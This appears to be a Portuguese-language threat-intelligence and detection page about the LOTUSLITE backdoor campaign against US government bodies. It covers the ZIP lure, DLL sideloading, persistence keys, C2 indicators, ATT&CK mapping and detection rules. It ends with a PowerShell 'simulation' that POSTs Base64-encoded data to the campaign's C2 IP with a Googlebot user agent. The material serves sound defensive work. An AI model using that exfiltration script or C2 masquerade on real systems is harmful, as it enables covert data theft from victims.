Campanha LOTUSLITE: Espionagem Direcionada Motivada por Narrativas Geopolíticas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Acronis TRU observou uma operação de espionagem direcionada a organizações do governo dos EUA que entregou uma backdoor de DLL maliciosa, LOTUSLITE, dentro de um arquivo ZIP com tema político. Um executável carregador complementar carrega a DLL, após o qual a backdoor envia beacons para um endpoint C2 codificado em HTTPS enquanto imita um agente de usuário do Googlebot. Os operadores estabelecem persistência criando um diretório dedicado em ProgramData e adicionando uma entrada de registro de execução. Com base em padrões de operações sobrepostos, a atividade foi vinculada ao Mustang Panda.
Investigação
Os analistas desempacotaram o ZIP e identificaram o binário do loader (Maduro to be taken to New York.exe) juntamente com a DLL armada (kugou.dll). A análise documentou o fluxo de sideloading da DLL, comportamento de beaconing, uso de mutex e os artefatos exatos de persistência criados no host. A revisão da infraestrutura atribuiu comunicações a um único IP (172.81.60.97) e a um domínio hospedado na spryt.net, alegadamente hospedado em Phoenix, Arizona. Atribuição ao Mustang Panda foi avaliada com confiança moderada devido às táticas e padrões de infraestrutura compartilhados.
Mitigação
As detecções da Acronis basearam-se em hashes SHA-256 para os binários maliciosos e destacaram a pasta de persistência específica em ProgramData e a localização da chave de execução. Os controles de rede devem sinalizar conexões HTTPS de saída para o IP/dominio identificado quando emparelhado com uma string de agente de usuário do Googlebot. Reduza a persistência prevenindo a execução de binários desconhecidos de ProgramData e removendo a entrada do registro Run associada quando descoberta.
Resposta
Isole imediatamente os endpoints afetados, capture dados voláteis e preserve os binários maliciosos para análise. Remova a pasta ProgramData criada e exclua o valor correspondente do registro Run para quebrar a persistência. Bloqueie a conectividade com o IP e domínio C2, e atualize as detecções de endpoint com os hashes de arquivo e o indicador de mutex fornecidos. Finalmente, conduza uma caça em todo o ambiente para hosts adicionais exibindo as mesmas assinaturas de loader e DLL.
graph TB %% Class definitions classDef technique fill:#ffcc99 classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef process fill:#c2f0c2 classDef action fill:#99ccff %% Nodes with technique details initial_access[“<b>Técnica</b> – <b>T1566.001 Anexo de Spearphishing</b><br/>Entrega de um arquivo ZIP malicioso contendo um executável loader e uma DLL maliciosa.”] class initial_access technique execution[“<b>Técnica</b> – <b>T1574.001 Desvio de Fluxo de Execução: DLL</b><br/>Loader executável faz sideload e carrega <i>kugou.dll</i> como a backdoor.”] class execution technique defense_evasion1[“<b>Técnica</b> – <b>T1036 Mascaramento</b><br/>Renomeia o loader para “Maduro to be taken to New York.exe” e a DLL para “kugou.dll” imitando arquivos legítimos de streaming de música.”] class defense_evasion1 technique defense_evasion2[“<b>Técnica</b> – <b>T1036.003 Renomear Utilitários Legítimos</b><br/>Usa nomes de utilitários conhecidos de streaming de música da Tencent para ocultar componentes maliciosos.”] class defense_evasion2 technique discovery[“<b>Técnica</b> – <b>T1033 Descoberta de Proprietário/Usuário do Sistema</b><br/>Chama GetComputerName e GetUserName para coletar informações do host e do usuário.”] class discovery technique command_exec[“<b>Técnica</b> – <b>T1059.003 Shell de Comando do Windows</b><br/>Gera um shell interativo <i>cmd.exe</i> sobre pipes anônimos.”] class command_exec technique persistence[“<b>Técnica</b> – <b>T1037.001 Scripts de Inicialização de Boot ou Logon: Script de Logon</b><br/>Cria <i>C:\ProgramData\Technology360NB</i>, copia exe como <i>DataTechnology.exe</i>, adiciona chave Run <i>Lite360</i> sob HKCU.”] class persistence technique c2[“<b>Técnica</b> – <b>T1102 Serviço Web</b> / <b>T1102.002 Comunicação Bidirecional</b> / <b>T1071.001 Protocolo da Camada de Aplicação: Protocolos Web</b><br/>Usa WinHTTP para POST para https://172.81.60.97 pela porta 443 com o User-Agent do Googlebot, referer Google e cabeçalho mágico 0x8899AABB.”] class c2 technique %% Flow connections initial_access –>|leads_to| execution execution –>|enables| defense_evasion1 defense_evasion1 –>|supports| defense_evasion2 defense_evasion2 –>|provides| discovery discovery –>|enables| command_exec command_exec –>|facilitates| persistence persistence –>|establishes| c2
Fluxo de Ataque
Detecções
Possíveis Pontos de Persistência [ASEPs – Software/NTUSER Hive] (via evento de registro)
Ver
IOCs (SourceIP) a detectar: LOTUSLITE: Espionagem direcionada aproveitando temas geopolíticos
Ver
IOCs (DestinationIP) a detectar: LOTUSLITE: Espionagem direcionada aproveitando temas geopolíticos
Ver
IOCs (HashSha256) a detectar: LOTUSLITE: Espionagem direcionada aproveitando temas geopolíticos
Ver
Detecção de Comunicação C2 de Backdoor LOTUSLITE [Conexão de Rede do Windows]
Ver
Campanha de Espionagem Direcionada Usando Backdoor LOTUSLITE [Criação de Processo do Windows]
Ver
Execução da Simulação
Pré-requisito: O Check de Pré-voo de Telemetria & Baseline deve ter passado.
Racional: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
O atacante comprometeu uma estação de trabalho e instalou o backdoor LOTUSLITE. Para exfiltrar dados enquanto se mistura com o tráfego legítimo de web-crawlers, o backdoor emite um HTTP POST para o servidor C2 codificado172.81.60.97. Ele define explicitamente o cabeçalhoUser-Agentcomo “Googlebot” para se mascarar como um rastreador de mecanismos de pesquisa, na esperança de passar despercebido por defesas de perímetro que permitem listas brancas para tais agentes. O payload contém dados exfiltrados codificados em Base64. -
Regressão do Script de Teste:
# Simulação C2 do LOTUSLITE – powershell $c2 = "http://172.81.60.97/receive" $ua = "Googlebot" $data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensitive data payload")) $body = @{ "data" = $data } try { Invoke-WebRequest -Uri $c2 -Method POST -Headers @{ "User-Agent" = $ua } -Body ($body | ConvertTo-Json -Compress) -UseBasicParsing Write-Host "C2 request sent successfully." } catch { Write-Error "C2 request failed: $_" } -
Comandos de Limpeza:
# Remova quaisquer arquivos temporários ou conexões de rede remanescentes Remove-Item -Path "$env:TEMPlotuslite_temp*" -ErrorAction SilentlyContinue # (Nenhum serviço persistente foi criado nesta simulação) Write-Host "Limpeza completa."